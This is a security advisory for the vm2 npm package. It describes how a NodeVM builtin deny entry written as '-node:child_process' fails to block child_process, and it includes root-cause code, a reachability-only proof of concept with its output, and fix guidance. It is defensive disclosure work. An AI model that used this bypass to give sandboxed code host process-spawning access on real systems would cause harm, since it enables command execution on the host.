GHSA-8686-vhfx-7r3j CVE-2026-92957
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
- Severity
- 9.4 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.54%
- Chance of exploitation in the next 30 days. Higher than 45.25% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
3.11.7- Upgrade vm2 to this version or later
Description
Summary
NodeVM normalizes node:-prefixed builtin specifiers during require() resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.
As a result, this configuration:
new NodeVM({
require: {
builtin: ['*', '-node:child_process']
}
});
does not deny the canonical child_process builtin. Sandboxed code can require both child_process and node:child_process, and receives the host module with process-spawning APIs such as execSync and spawn.
The safe proof below only checks module and function reachability. It does not execute any OS command.
Affected Mode
NodeVM.
Affected Configuration
new NodeVM({
require: {
builtin: ['*', '-node:child_process']
}
});
This affects users who deny builtins using their node:-prefixed spelling, expecting -node:child_process to deny require('node:child_process') and require('child_process').
Affected Files / Functions
lib/builtin.jsmakeBuiltinsFromLegacyOptions- wildcard builtin expansion
- exact negative entry check:
builtins.indexOf(\-${name}`)` addDefaultBuiltin
lib/resolver.jsResolver.resolve
lib/setup-node-sandbox.jsrequireImplnode:prefix stripping before builtin load
Root Cause
lib/setup-node-sandbox.js strips the node: prefix from resolved builtin filenames before loading the builtin:
if (localStringPrototypeStartsWith(filename, 'node:')) {
id = localStringPrototypeSlice(filename, 5);
let nmod = cacheBuiltins[id];
if (!nmod) {
nmod = loadBuiltinModule(id);
if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');
cacheBuiltins[id] = nmod;
}
return nmod;
}
But lib/builtin.js checks wildcard negative entries by exact string match against the names in BUILTIN_MODULES:
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
BUILTIN_MODULES contains the canonical name child_process, not node:child_process. Therefore -node:child_process does not exclude child_process, and addDefaultBuiltin() registers the host builtin.
Security Boundary Crossed
Sandboxed code reaches a host builtin that the embedder attempted to deny.
Boundary crossed:
- sandbox -> host
child_processbuiltin - sandbox -> host process-spawning function references
Impact
Confirmed impact:
require('child_process')succeeds inside the sandbox.require('node:child_process')succeeds inside the sandbox.- The returned module exposes
execSyncandspawnas functions.
Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.
The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.
'use strict';
const { NodeVM } = require('./');
function probe(builtin) {
const vm = new NodeVM({
require: {
builtin
}
});
return vm.run(`
const out = {};
for (const spec of ['child_process', 'node:child_process']) {
try {
const cp = require(spec);
out[spec] = {
loaded: true,
execSyncType: typeof cp.execSync,
spawnType: typeof cp.spawn,
moduleToStringTag: Object.prototype.toString.call(cp)
};
} catch (e) {
out[spec] = {
loaded: false,
name: e && e.name,
code: e && e.code,
message: e && e.message
};
}
}
module.exports = out;
`);
}
console.log(JSON.stringify({
nodeVersion: process.version,
denyNodePrefixed: probe(['*', '-node:child_process']),
denyCanonical: probe(['*', '-child_process'])
}, null, 2));
Observed result:
{
"nodeVersion": "v24.14.0",
"denyNodePrefixed": {
"child_process": {
"loaded": true,
"execSyncType": "function",
"spawnType": "function",
"moduleToStringTag": "[object Object]"
},
"node:child_process": {
"loaded": true,
"execSyncType": "function",
"spawnType": "function",
"moduleToStringTag": "[object Object]"
}
},
"denyCanonical": {
"child_process": {
"loaded": false,
"name": "VMError",
"code": "ENOTFOUND",
"message": "Cannot find module 'child_process'"
},
"node:child_process": {
"loaded": false,
"name": "VMError",
"code": "ENOTFOUND",
"message": "Cannot find module 'node:child_process'"
}
}
}
Expected Secure Behavior
-node:child_process and -child_process should be equivalent.
If either spelling is denied, both of these should fail:
require('child_process')
require('node:child_process')
Suggested Fix
-
Canonicalize builtin names before allow/deny comparison:
- Strip
node:from user-provided builtin entries. - Preserve whether an entry is negative (
-...) before canonicalizing. - Store and compare one canonical builtin key.
- Strip
-
Apply the same normalization to:
- wildcard negative entries
- explicit allowlist entries
- object-form builtin entries
- mock/override keys if they are intended to support
node:spelling
-
Add regression tests:
builtin: ['*', '-node:child_process']blockschild_process.builtin: ['*', '-node:child_process']blocksnode:child_process.builtin: ['*', '-node:fs']blocksfsandnode:fs.builtin: ['*', '-node:fs/promises']and-fs/promisesbehave consistently.- Canonical dangerous builtins remain denied even if explicitly requested with
node:spelling.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| vm2 | < 3.11.7 |
3.11.7 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
vm2 npm → 3.11.7
- npm
npm install vm2@3.11.7- yarn
yarn add vm2@3.11.7- pnpm
pnpm add vm2@3.11.7
Severity breakdown
CVSS 4.0 9.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 9.9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-269: Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system.
- Architecture and Design: Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-489w-w794-jq94 vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary | High | Also affects vm2 |
| GHSA-2v2p-6j97-cjg9 vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process | Medium | Also affects vm2 |
| GHSA-5h3f-q97h-ccvc vm2: NodeVM custom resolution bypasses external path boundaries | Critical | Also affects vm2 |
| GHSA-pq68-rvw4-xp4r vm2 contains a sandbox escape vulnerability | Critical | Also affects vm2 |
| GHSA-f8gf-w286-fmq2 vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM | High | Also affects vm2 |
| GHSA-6rh5-qq4q-97xh vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes | High | Also affects vm2 |
| GHSA-wjwh-qqvp-g4p4 vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass | Critical | Also affects vm2 |
| GHSA-88hf-g992-jg85 vm2: Sandbox Escape (NodeVM) | Critical | Also affects vm2 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor